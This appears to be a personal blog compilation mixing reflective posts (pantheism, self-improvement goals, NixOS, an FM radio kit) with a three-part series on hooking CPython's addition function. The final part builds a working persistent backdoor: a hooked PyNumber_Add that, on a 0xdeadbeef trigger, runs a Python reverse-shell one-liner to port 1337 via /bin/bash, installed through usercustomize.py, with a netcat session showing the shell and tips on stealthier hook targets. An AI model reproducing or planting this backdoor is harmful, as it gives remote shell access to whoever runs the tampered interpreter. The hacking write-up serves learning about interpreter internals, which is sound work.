I was always in profound awe when being in nature. The feeling of climbing a mountain, seeing the cloudy sky, the oceans, feeling the raindrops, looking at the absurd complexity and beauty of the human hand, a leaf, a flower.
Last night, I came to what I feel is a very deep and real realization that is now clear to me as daylight. I don’t know how I have managed to avoid it for 33 years being on this planet.
The track is an abstract composition of small hints, it has an atmosphere and a pattern that builds up progressively. You don’t really know where it’s going, but it’s hypnotic and captivates your attention. There is just a bassline, samples of distorted voice, patterns, notes and chords. There is a lot of missing information that is for your own imagination to complete. It sounds almost like random but you can tell there is order, design, and a missing part.
You are imagining that missing part but you can’t exactly grasp it.
In 1:48, something happens; You hear it - a very short pattern of notes. Suddenly, the entire thing makes perfect sense. It’s the answer to this track that your mind has been trying to conjure for almost 2 minutes, and for a moment you are in awe and ecstasy. All the questions you had are gone, the song with what seemed like little quirks, a sense of discord and disharmony, makes perfect sense now. It is complete.
I think life is the same way.
Let’s assume that none of this means anything (whatever “meaning” means to you), and we are all just a bunch of molecules, floating in space without purpose. Everything is creating total randomness and we are all here by pure chance. Why the hell would we have this world complete the conscious human experience in such an absolute and beautiful way? And why would you even get the perspective of a human, and not be a rock somewhere on Mars? We are literally sitting in the cockpit of creation and we have the ability to shift and change your own destiny, create and destroy, communicate with other humans, animals and entities? Share experiences, feelings, identity, fears, dreams, love, how the hell does that even work?
It makes no sense. There has to be a missing piece to this puzzle that we have yet to discover.
The mystical aspect of whether it is “divine”, does not matter in my eyes. These are just human terms to describe something that is so abstract to us, but is evident through the entire human life experience, that it is almost obvious it is something that belongs to the underlying core of existence itself.
I have long been fond of this idea, but until this moment I couldn’t put a finger the exact reasoning for it. The term I found describes the closest thing to this belief is Pantheism.
After a very long time of not soldering anything, I finally got myself an RDA5807 FM Radio Receiver DIY Kit from Amazon. Spent 3 hours straight on this thing and my soldering-phobia is basically gone now. This included some SMD soldering, a bunch of DIP mount and pin headers, wiring, a very hacky antenna solder and frame assembly. I did miss something though because the frequency “Down” button doesn’t work.
Some ideas for future improvements:
Fix the “Frequency Down” button - Done
Add a 3.5mm headphone jack
Some finer volume control (currently there are volume levels 0-10 where “0” is still quite loud)
Replace the power socket with a USB-C socket
Add an internal usb power bank
Read the diagram, understand the purpose and function of each component
The holes for the antenna and power socket could use some work too. I’m thinking about using a laser-cutter on the acrylic panels to make the holes larger
Make a custom case that would fit the radio and the power bank
Mess with the STC89c52 8051 microcontroller that runs this thing (dumping, flashing, debugging the firmware)
Reverse-engineer the firmware and make a custom one
The LCD screen says “STEREO RADIO” but it’s actually mono - change to some custom text
Initial volume is really high, I’d like to change that to something more reasonable
Starting frequency is something like 80MHz, should be more like 100Mhz
Currently it scans until it finds a station. Explore the possibility of manually setting the frequency
Explore adding persistent memory for storing the last configured volume and frequency
In the Previous Part, we’ve hooked PyNumber_Add function using ctypes and replaced it with our own implementation. In this part, we will extend our extension to a backdoor that will return a reverse shell given specific addition operands.
To the drawing board!
The Plan
Just like in the previous part, we will hook the PyNumber_Add function
Our code will check if one of the operands is 0xdeadbeef.
If so, it will extract the other operand and use it as an IPv4 address
It will then connect to the address on port 1337 and spawn a reverse shell
Adding our trigger
In our previous implementation, after checking that both operands are integers, we added a check to see if they are both equal to 2. We will replace this check with a check to see if one of the operands is 0xdeadbeef, and if so, we will extract the other operand and use it as an IPv4 address.
Since we have access to the Python C API, we have the freedom to run any Python code we want!
We will use the os, socket and subprocess modules to spawn a reverse shell. To avoid string formatting in C, we will use strcat to concatenate the strings. The IP address is extracted one byte at a time, using bit shifting and masking with 0xff to get the lowest byte each time.
The reverse shell itself is a Python one-liner that uses os.dup2 to duplicate the socket file descriptor to the standard input, output and error, and then uses subprocess.call to spawn a shell.
if (ipNum != 0) { // Convert the IP address to a string snprintf(ip, sizeof(ip), "%d.%d.%d.%d", ipNum & 0xff, (ipNum >> 8) & 0xff, (ipNum >> 16) & 0xff, (ipNum >> 24) & 0xff);
// Connect to the IP address on port 1337 and spawn a shell strcat(revShell, ip); strcat(revShell, "\",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);"); PyRun_SimpleString(revShell); }
And violà! We now have a backdoor that will spawn a reverse shell when the operands are 0xdeadbeef and an IPv4 address.
PyObject* my_add(PyObject* a, PyObject* b) { unsignedlong ipNum = 0; char ip[16] = {0}; char revShell[4096] = "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('";
// Increment the reference count of a and b Py_INCREF(a); Py_INCREF(b);
// Check that a and b are both PyLongs if (!PyLong_Check(a) || !PyLong_Check(b)) { Py_DECREF(a); Py_DECREF(b); return Py_None; }
// PyNumber_Subtract(a, b) is equivalent to a - b, // So we can calculate a + b by doing a - (-b). // We can get -b by multiplying b by -1. PyObject *minus_b = PyNumber_Multiply(b, PyLong_FromLong(-1)); PyObject *result = PyNumber_Subtract(a, (PyObject*) minus_b);
Python looks for a startup script in the site-packages/usercustomize.py file, so we can drop our script from the Previous Part there and it will be loaded automatically. Don’t forget to edit the Python script and change the path to my_add.so to the correct path on your machine.
# Find the user site-packages directory python -c "import site; print(site.USER_SITE)"
# Edit the script and change the path to `my_add.so` to the full path of `site-packages/my_add.so` on your machine vim snek.py
# Copy the our script to `site-packages/sitecustomize.py` cp snek.py /home/user/.local/lib/python3.8/site-packages/usercustomize.py
Now, let’s test our backdoor!
Testing
We’ll listen on port 1337 using nc.
1 2
➜ ~ nc -vvlp 1337 Listening on astral 1337
Now let’s perform a simple calculation and see what happens.
1 2 3 4 5 6 7 8 9 10 11 12 13
➜ ~ python3 Address of my_add: 0x7face7051276 Address of PyNumber_Add: 0x50f750 mprotect(addr=0x50f000, size=0x1000, perms=0x7) ret=0 errno=0 Address of shellcode trampoline: 0x7face6f90390 memmove: 0x50f750 1 + 1 = 2 2 + 2 = 4 Python 3.8.10 (default, May 26 2023, 14:05:08) [GCC 9.4.0] on linux Type "help", "copyright", "credits" or "license"for more information. >>> 1 + 1 2
So far so good, but does our backdoor work? 0x7f000001 is hex for 127.0.0.1, so let’s try that!
1
>>> 0xdeadbeef + 0x7f000001
And we get a shell! Beautiful!
1 2 3 4 5
Connection received on localhost 34998 user@astral:~$ id id uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker) user@astral:~$
Notes and Caveats
This is a proof of concept, and is not meant to be used in production (whatever “production” means for a backdoor, lol).
Here are some of the things that could go wrong with this implementation:
I’m pretty sure the current implementation breaks a lot of things, such as the + operator for other types, but I haven’t tested it extensively
Thread safety is not guaranteed
The mprotect call won’t work on platforms with W^X memory protection
mprotect won’t work on Windows
The shellcode trampoline won’t work on platforms other than x86_64
The inline hook is implemented in a very naive way, and overwrites the original function code of PyNumber_Add. A better way to implement the inline hook would be to use a trampoline, and jump to the original function code after we’re done. This requires us to allocate a page of executable memory, and copy the original function code there, and then jump to it
Alternatively, we can use a hooking library such as subhook
The reverse shell doesn’t fork a child process, so the Python process will get stuck until the reverse shell exits, and stdin / stdout / stderr won’t get redirected back to the user
Improvements and features that can be added:
We can use mmap() to get a page of executable memory and load shellcode from memory, instead of using CDLL to load a shared library from disk
The backdoor components and it’s communication are not encrypted or obfuscated in any way
A Python shell would be nice, instead of relying on /bin/bash
As an attacker, there are better hook targets than PyNumber_Add, such as socket.recv(), which is guaranteed to be called with user input in a lot of places
Another option is string formatting functions, which are also used everywhere and likely to be called with user input (thanks to @HarpazDor for the suggestion!)
This was a really fun way to spend a weekend! I hope you enjoyed reading this series as much as I enjoyed writing it, and maybe even learned something new along the way.
Greetings, fellow hackers and tinkerers, and welcome to the second installation of the “Sneaky Snek” blog post series! This series is dedicated to having fun messing around with CPython’s core functionality and modifying arithmetic operator implementation in runtime. In the Previous Part, we’ve started diving into CPython’s implementation of the + operator, PyNumber_Add, intercepted number addition operations using gdb breakpoint commands, inspected the PyObject arguments and modified the result in an automated fashion.
In this part, we will explore inline hooking of the function from within a Python script using ctypes.
Great, we have at least 30 bytes of code. That’s more than enough to insert a jmp! There is a problem, though - our code is mapped to a segment with r-xp permissions, so we are missing the “write” permission. This is common for code segments in programs, as there is usually no need to have write permissions for code segments (unless JIT is being used). We will deal with this later.
The Plan
Our objective is to trick Python into believing that “2 + 2 = 5”. For this purpose, we will redirect execution to a custom function that will check the operands and modify the result if necessary.
We want a Python script that will:
Create a custom version of the function
Load it into Python’s memory
Locate the PyNumber_Add‘s memory address
Change it’s page permissions to writable
Patch the first bytes of PyNumber_Add with a jump to our function
Run some tests
Let’s break these down, one by one.
Creating my_add
While there are advanced ways of inserting code into the memory space of a running process, we will keep things simple and go with loading a shared object (.so). Python has it’s own C API that allows us to extend Python, deal with PyObjects and even run Python from C. This will come in handy!
Note: You may need to install python3-dev for the CPython headers.
Since we are planning to practically destroy PyNumber_Add, we will need a different way to calculate the result. There are safer ways to implement a generic and reusable hook, but for our purposes and in the spirit of having fun, I’ve decided on a quirky approach: a + b is mathematically equivalent to a - (-b)! We will use this to our advantage and implement my_add as follows:
PyObject* my_add(PyObject* a, PyObject* b) { // Increase reference count to prevent garbage collection Py_INCREF(a); Py_INCREF(b);
// Check if both arguments are ints if (PyLong_Check(a) && PyLong_Check(b)) { // Check if both arguments are 2 if (PyLong_AsLong(a) == 2 && PyLong_AsLong(b) == 2) { Py_DECREF(a); Py_DECREF(b);
// Return 5 return PyLong_FromLong(5); }
// Return a - (-b) PyObject* neg_b = PyNumber_Negative(b); PyObject* result = PyNumber_Subtract(a, neg_b); Py_DECREF(a); Py_DECREF(b); Py_DECREF(neg_b); return result; }
We can now use ctypes.CDLL() to load my_add.so into Python’s memory and get a pointer to our function. This proves to be a little tricky, because ctypes does not expose a direct way to get a pointer to a function. ctypes does, however, allow us to get a pointer to the variable that holds the function pointer. We can then dereference it to get the actual function pointer.
Changing PyNumber_Add‘s page permissions to writable
We will use mprotect() to change the page permissions of PyNumber_Add to rwx and make the memory writable. To grab the page address, we can use a simple trick stolen borrowed from this StackOverflow answer. Oh yeah, and ctypes let’s us call mprotect() directly from Python!
At this point, we have everything we need to patch PyNumber_Add with a jump to my_add. We will use ctypes again to write our shellcode to the first bytes of PyNumber_Add:
1 2
result = ctypes.memmove(pynumber_add, shellcode, shellcode_size) print("memmove:", hex(result))
Adding some tests
We’ll insert some number addition operations and see what happens. There is a caveat to be aware of - Python calculates 2 + 2 at compile time and stores the result in the bytecode. We can use eval() to force Python to recalculate the result every time.
# Get a pointer to my_add my_add = deref_ptr(ctypes.addressof(ctypes.CDLL('./my_add.so').my_add)) print("Address of my_add:", hex(my_add))
# Get a pointer to PyNumber_Add pynumber_add = deref_ptr(ctypes.addressof(ctypes.pythonapi.PyNumber_Add)) print("Address of PyNumber_Add:", hex(pynumber_add))
# Use ctypes and mprotect to make the memory writable page_size = os.sysconf('SC_PAGE_SIZE') page_addr = pynumber_add & ~(page_size - 1) page_perms = 0x1 | 0x2 | 0x4# PROT_READ | PROT_WRITE | PROT_EXEC libc = ctypes.CDLL(ctypes.util.find_library('c')) result = libc.mprotect(page_addr, page_size, page_perms) print(f"mprotect(addr={hex(page_addr)}, size={hex(page_size)}, perms={hex(page_perms)}) ret={result} errno={ctypes.get_errno()}")
# Create a trampoline to our function shellcode = b"\x48\xb8" + my_add.to_bytes(8, byteorder='little') # mov rax, my_add shellcode += b"\xff\xe0"# jmp rax shellcode_size = len(shellcode)
# Get a pointer to our shellcode trampoline shellcode = ctypes.c_char_p(shellcode) print("Address of shellcode trampoline:", hex(ctypes.addressof(shellcode)))
# Copy the shellcode to the start of PyNumber_Add result = ctypes.memmove(pynumber_add, shellcode, shellcode_size) print("memmove:", hex(result))
I hope you enjoyed taking this journey into Python internals with me! In the Next Part, we will explore further extending this into a backdoor that given specific input, will give us a reverse shell.
Disclaimer:No Pythons were harmed in the making of this post. Version used:CPython 3.8.10 on Ubuntu 20.04 x86_64 (WSL)
Snakes can be scary, but Python is a good snek. Python is our friend! As all good friends must do, we will gaslight it into believing that 2 + 2 = 5.
As an interpreted script language, some parts of Python’s runtime can be changed directly. For example, we can easily replace built-in functions such as int():
Good, we are getting intimate! But how do we modify arithmetic operations, stuff like +, -? When we implement our own class, it’s quite straightforward. By overriding __add__ and __radd__, we can decide exactly what logic will take place when instances (objects) of our class are being added. For example, we can make a Kitten object, and then make kitten1 + kitten2 return the string "Huge pile of cat hair".
When it comes to literals (ex. int) though, Python does not provide us with means of changing the default behavior for +. The implementation is buried inside the CPython interpreter’s C code, so we’ll need to work a little harder.
Locating the Function
Looking through the CPython source code, in Include/abstract.h, we find the following function definition:
1 2 3 4
/* Returns the result of adding o1 and o2, or NULL on failure. This is the equivalent of the Python expression: o1 + o2. */ PyAPI_FUNC(PyObject *) PyNumber_Add(PyObject *o1, PyObject *o2);
In theory, every int addition operation arrives here! We can check that with gdb, but first, we’ll need to set up a few things.
Setup
Things we’ll need:
gdb
A version of Python with debug symbols
CPython source code that matches the version
In Ubuntu, the Python 3 debug symbols are shipped in the python3-dbg package. Note: You may need to edit your APT configuration and add debug symbol sources.
Let’s see if we could get gdb to debug Python with source code support. The dir Python-3.8.10/Python command tells gdb to add the directory to the source search path, so it will be able to show source code.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
➜ ~/pymod gdb python3-dbg GNU gdb (GDB) 12.1 ... Reading symbols from python3-dbg... (gdb) dir Python-3.8.10/Python Source directories searched: /home/user/pymod/Python-3.8.10/Python:$cdir:$cwd (gdb) b main Breakpoint 1 at 0x426dd6: file ../Programs/python.c, line 15. (gdb) r Starting program: /usr/bin/python3-dbg [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=1, argv=0x7fffffffdd28) at ../Programs/python.c:15 15 { (gdb)
We got a breakpoint on main, awesome!
Debugging the Interpreter
Now that we have everything set up correctly, let’s see if we land in that PyNumber_Add function we saw earlier! We’ll close gdb and run Python again:
1 2
➜ ~ python3-dbg >>>
Now we can attach to it with gdb and set a breakpoint on our target function. Note: You may need to set ptrace_scope to 0.
1 2 3 4 5 6 7 8
➜ ~ gdb -p `pidof python3-dbg` GNU gdb (GDB) 12.1 ... 0x00007f6196ad3f7a in select () from /lib/x86_64-linux-gnu/libc.so.6 (gdb) b PyNumber_Add Breakpoint 1 at 0x632512: file ../Objects/abstract.c, line 957. (gdb) c Continuing.
Let’s do a simple addition:
1
>>> 0x1234 + 0x5678
We get a breakpoint hit! let’s look back at the function definition.
1 2
Breakpoint 1, PyNumber_Add (v=0x7f6196567f00, w=0x7f619649a800) at ../Objects/abstract.c:957 957 {
It receives two pointers of the type PyObject *. Without looking into the PyObject struct too much yet, we’ll try to find our values somewhere in the memory pointed to by these arguments. We will use x/10wx v to examine 20words (4-byte values, so, a total of 40 bytes), in hex format, in the memory pointed to by v.
Our value, 0x1234, is at an offset of 24 bytes, so, 6 words (4-byte each). Let’s print it directly for both arguments. We need to cast v from PyObject * to unsigned int *, add the offset, and dereference the pointer (with *).
1 2 3 4
(gdb) p/x * ((unsigned int *) v + 6) $46 = 0x1234 (gdb) p/x * ((unsigned int *) w + 6) $47 = 0x5678
Good, now let’s modify the result! Here is the interesting part from the function:
1 2 3 4 5 6
PyObject * PyNumber_Add(PyObject *v, PyObject *w) { PyObject *result = binary_op1(v, w, NB_SLOT(nb_add)); if (result == Py_NotImplemented) { // We want to break here set the result ...
We can setup a simple hook using breakpoint commands. This feature that allows you to run a gdb command when the debugger reaches a certain breakpoint. We’ll combine this with a conditional breakpoint - if v and w both contain 2, write 5 to the returned result object.
Using Ctrl-x + a, we can switch to source code view and find the target line to set the breakpoint on - In my case, it is abstract.c:959.
1 2 3 4 5 6 7 8 9
(gdb) b abstract.c:959 if ((* ((unsigned int *) v + 6) == 2) && (* ((unsigned int *) w + 6) == 2)) Breakpoint 2 at 0x63252a: file ../Objects/abstract.c, line 959. (gdb) commands Type commands for breakpoint(s) 2, one per line. End with a line saying just "end". >set * ((unsigned int *) result + 6) = 5 >c >end (gdb) c
Let’s see what happens.
1 2 3 4 5
>>> 1 + 1 2 >>> 2 + 2 5 >>>
We are successfully intercepting number addition operations with gdb!
In the Next Part, we will look at implementing this hook from within Python, without the use of a debugger.
To improve anything, it is vital to observe it consistently for periods of time without interference, collect data, make observations and deductions, and finally improve via trial and error. Humans have been doing this since the dawn of civilization and it is our way of understanding and navigating the natural world.
When we apply this method to the self, we are bound to interfere with our own measurements. We often judge ourselves, impose expectations, and carry the weight of guilt or shame when we perceive that we fall short. This interference can cloud our observations and hinder our ability to make accurate deductions about ourselves. Consistency is impacted too. Bursts of intense self-reflection followed by periods of guilt or shame can create an unhealthy cycle. We may become hesitant to engage in self-reflection altogether, fearing the negative emotions that often accompany it.
So, how do we break free from this cycle? While completely eliminating negative emotions may be unachievable due to the way our brains function, it is possible to minimize their impact by looking after yourself and taking care of your basic needs before letting your mind slip into deep introspection of your life. Things like sleep, hydration, food, walking outside, a good shower, comfortable wear and some quiet can go a long way.
Next, the key here is to observe yourself objectively as an outsider, and without judgement or preconceived notions, like observing an external entity or phenomena, just observing and taking notes. For example, imagine you have a cat, and it scratches the furniture. You’d observe it’s behavior and note things like:
“19/09 - Cat scratches sofa when I’m outside the house”
“21/09 - Added cardboard but cat seems uninterested, still scratches sofa”
“22/09 - Moved sofa, cat seems more anxious now”
Approaching self-improvement with the same mindset of curiousity and problem-solving is not only healthier for you, but more reliable. Doing this requires the ability to observe yourself from a distance. In Buddhism, this is known as Detachment. Stoicism has it’s own related concept, called Apatheia.
It is important to be intentful and consistent about self-reflection. You cannot seriously expect to improve if you only do it when it’s New Year’s, or when you feel down. Dedicating a consistent time and place for this activity allows observation of a wider spectrum of our different states, gaining clearer and more complete insights to act upon.
Outputs - Energy management, words, actions, activities
Emotional development
To develop a better relationship with my inner child and recognize when it needs me to change things
To be patient and give myself time and space to grow and transform
To be unafraid of mistakes
To be unafraid of change
To be unafraid of challenging my fears and preconceptions
To let go of things and ideas that don’t serve me anymore
To let go of people that hurt me (or are ultimately harmful for me)
To embrace new things, experiences, ideas and people that make my life better
Mind development
To take care of my mind and nurture it
To become more organized
To recognize overthinking and other unhelpful thinking patterns
To consume less content
To allocate time for cognitive and emotional processing
To give myself time and space for relaxation
To take more informed decisions (utilize AI)
To document my process and let it grow organically
Social development
To stay connected with family and friends I care about
To be unafraid to show love, passion, excitement
To be more forgiving to myself and others
To have lasting, meaningful friendships, share experiences and grow together
To be comfortable enough to share happiness, sadness, random ideas and other human memes with my friends
To learn to trust and rely on friends
To have the courage to stand up to my ideals, and the wisdom to recognize when it’s not right anymore
To let animals into my life (Which ones? time will tell… I’ve always wanted a Golden Retriever or Labrador)
Physical development
To take care of my body and nurture it (good food, water, sunlight, workout, healthy sleeping patterns)
To listen to my body and recognize when it needs me to change things
To maintain good health and do regular health checkups
To keep working out and become stronger and healthier
To explore more ways to connect with my body
Tech
To have better control of my digital content and identity (e.g. by self-hosting)
To keep my digital life organized and live it with intent
To give myself time and space to learn and play with varied and new technologies
To not succumb to the influences of social media and information overload
To reduce and eliminate platforms that employ dark patterns from my tech life (such as notifications and other dopamine-hit-invoking “features”, FOMO, doomscrolling)
To ensure that ultimately my machines serve me and I don’t serve them
To balance time spent with myself, computers, humans, animals and nature
To let tech become an aid, synergize and be in harmony with other aspects of my life
Work
To take care of my human aspects before I start working
To keep my workspace clean, organized and optimized for focus
To work with intent and joy
To work on meaningful problems that are worth solving
To do less and complete more
To set healthy time boundaries and not overwork myself
To remind myself to take breaks and recharge
To remind myself to take vacations
Community impact
To allocate time to help others by:
Volunteering
Mentoring
Sharing knowledge
Leading by example
Actively researching better ways to generate meaningful impact
Building community spaces and frameworks for people to learn and grow with
Last night I played with NixOS (huge thanks to my friend Tzlil for the recommendation!) and I had so much fun! It’s a Linux distro, somewhat similar to Arch Linux in terms of minimalist philosophy but with emphasis on reproducibility.
Keep in mind I’m still a newbie so there is a lot I might be missing in this post! Be sure to check out the (unofficial, community-maintained) NixOS Wiki.
Reproducibility
This basically means that anything you install is automatically added to your nix file(s). You can easily control your entire system configuration - bootloader, partition layout, wpa_supplicant, packages, user profiles, services, environment, software-specific configuration, Everything can be declared in the Nix config files. They freakin’ support stuff like chromium / firefox profiles and extensions, oh-my-zsh theme, .vimrc options, you name it.
These config files can be backed up in a git repository that you can easily deploy whenever you need to restore, clone or modify your system.
Installation
Installation is super straightforward for what you’d usually expect from this type of minimalistic OS. There is a friendly GUI that lets you pick which type of Desktop Environment you want (if any) and the usual stuff (region, user / pass).
I chose GNOME as my Desktop Environment. After the setup finished, I was greeted by this beautiful screen:
The disk usage for the default GNOME installation is just shy of 9 GB.
Nix is NixOS’s package manager, it uses it’s own expression-based pure-functional language, “Nix”, to define the logic that decides which packages are installed. The first thing we wanna do is go ahead and enable “experimental” Nix features. This gives us access to stuff like Flakes which are the new way of creating and managing packages.
Trying out packages temporarily
If we just wanna play with a package, we can have it downloaded and run temporarily. When the command completes, the package will disappear from our system!
1 2 3 4 5
[user@nixos:~]$ echo 123 | nix run nixpkgs#ripgrep 123 123
[user@nixos:~]$ rg rg: command not found
nix-shell
Using the nix-shell command, we can create a temporary, isolated shell environment where we can temporarily play with a package.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
[user@nixos:~]$ nix-shell -p wget this path will be fetched (0.62 MiB download, 3.25 MiB unpacked): /nix/store/biaz74lcslins8c0kl5pv3yzxp1b02qj-wget-1.21.3 copying path '/nix/store/biaz74lcslins8c0kl5pv3yzxp1b02qj-wget-1.21.3' from 'https://cache.nixos.org'...
I’m feeling like typing stuff, so let’s install Vim! To add a package persistently, we can edit our /etc/nixos/configuration.nix and add it here:
1 2 3 4
environment.systemPackages = with pkgs; [ # Existing packages... vim ];
Then, we need to run sudo nixos-rebuild switch and it applies our new configuration, installing the package.
Alternatively, we can simply run sudo nix-env -iA nixos.vim. It actually does the same thing behind the scenes - it changes the configuration.nix file.
Why this excites me
I have a problem with system bloat. It’s not so much that I mind some of my disk being consumed by gigabytes of pointless cyber-garbage.
It’s more about the fact that you’re constantly afraid to change things, because systems become slow and break over time. Sure, there are backups, but is everything really guaranteed to be there and work correctly when something breaks? This has a terrible consequence - You don’t experiment on your host environment, and you don’t improve. You don’t even know what your system is running under the hood because you’re too afraid to look down there! So, how does it do you any good to have your OS entirely open-source if you never change anything because you’re afraid to break stuff?
Having the entire setup configuration declared in a bunch of files in a git repo just frees me to try crazy stuff, experiment! Try a new WM, mess with the configs, change the kernel! This is the true spirit of open source. If anything ever breaks, slows down or even gets compromised, I just copy over a bunch of files and do a sudo nixos-rebuild switch, and if I really mess up, I could always reinstall NixOS and apply the configuration, or even create an installation ISO based on my config files to get everything back and working.
If you like a certain setup, you could easily clone it to another PC, or even share it with friends. You could have an entire organizational network definition, including desktops, servers, routers all declared in a central repository, and deploy them with a single command, or even have them PXE boot from network and install a fresh config. This level of control and transparency makes maintenance, upgrades, security and life in general so much simpler and more fun.
Sometimes, there is a need to put everything else aside and become hyper-focused on some task. Knowing that, we subconsciously try to hold the state of the things we left, keeping track of everything in our mind. The problem with this is that human memory is not always reliable… We can easily forget important details or lose track of progress, especially when the task at hand is complex or spans across months. So, it’s crucial to have systems in place for saving state.
By using external systems (such as todo lists, note-taking apps, documentation, blog posts), we create tangible representations of our work. These external representations serve as reminders or cues that bridge the gap between our internal mental state and the external world, acting as a form of persistent memory for our ideas and projects, and allowing us to remember and pick up where we left off after our focus has temporarily shifted away to something else.
Using external systems also reduces mental load and stress. When we rely solely on our memory to keep track of everything, it creates a constant background worry that we might forget something important. This mental burden hinders our ability to concentrate fully on the current task and can we can easily become overwhelmed by trying to keep everything in sight.
Documenting progress also provides a valuable resource for reflection. When you write down your thoughts, actions, and state, you create a record that can be peacefully reviewed and analyzed at a later time. This practice of reflection allows you to gain insights, recognize patterns, learn from your experiences, and make informed and better decisions in the future.
Part of my motivation for writing this blog is to apply this idea to my own self-development. Some of the insights I’ve learned have taken time, energy and experience to gain, and apart from sharing them with others, I want to treasure them safely in this sanctuary of ideas, to form a persistent, personal timeline that I could look back and reflect upon, in years and even decades from now.
Here’s to a future of exploration, joy, growth and fulfillment. May our external systems continue to support our endeavors and serve as a testament to our achievements!